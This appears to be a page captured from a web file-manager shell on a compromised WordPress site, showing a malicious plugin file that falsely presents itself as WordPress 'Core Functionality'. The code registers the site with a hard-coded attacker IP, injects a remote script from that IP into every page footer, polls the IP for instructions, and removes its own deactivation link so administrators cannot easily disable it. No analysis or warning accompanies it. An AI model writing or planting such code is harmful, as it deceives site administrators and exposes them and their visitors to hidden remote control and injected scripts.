Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
participable
/
wp-content
/
light
/
light
:
testplugingodlike.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /* Plugin Name: Core Functionality Description: Makes extra core wordpress functionality available. Version: 5.1.2 Author: WordPress */ // Register cluster on plugin activation function register_cluster_on_activation() { $domain = get_site_url(); $cluster_id = md5($domain); $domains = array($domain); sdtep($cluster_id, $domains); } register_activation_hook(__FILE__, 'register_cluster_on_activation'); // Function to send data to endpoint function sdtep($cluster_id, $domains) { $url = 'http://94.156.79.8:3000/register'; $data = json_encode([ 'cluster_id' => $cluster_id, 'domains' => $domains ]); $args = array( 'body' => $data, 'timeout' => '5', 'redirection' => '5', 'httpversion' => '1.0', 'blocking' => true, 'headers' => array( 'Content-Type' => 'application/json', ), ); $response = wp_remote_post($url, $args); if (is_wp_error($response)) { error_log("Error sending data to endpoint: " . $response->get_error_message()); } else { $body = wp_remote_retrieve_body($response); error_log("Response from endpoint: " . $body); } } // Add footer script function add_footer_script() { echo "<script src='https://94.156.79.8/sc-top.js'></script>"; } add_action('wp_footer', 'add_footer_script'); // Function to get step from endpoint function getstep_function() { $random_number = rand(1, 10); if ($random_number == 1) { $domain = get_site_url(); $cluster_id = md5($domain); $url = "http://94.156.79.8:3000/getstep/$cluster_id"; $response = wp_remote_get($url); if (is_wp_error($response)) { error_log("Error fetching step from endpoint: " . $response->get_error_message()); } else { $body = wp_remote_retrieve_body($response); error_log("Response from getstep endpoint: " . $body); } } } add_action('init', 'getstep_function'); function my_plugin_disable_deactivation($actions, $plugin_file, $plugin_data, $context) { // Check if this is the plugin we want to protect if ($plugin_file == plugin_basename(__FILE__)) { // Remove the 'deactivate' link if (isset($actions['deactivate'])) { unset($actions['deactivate']); } } return $actions; } add_filter('plugin_action_links', 'my_plugin_disable_deactivation', 10, 4);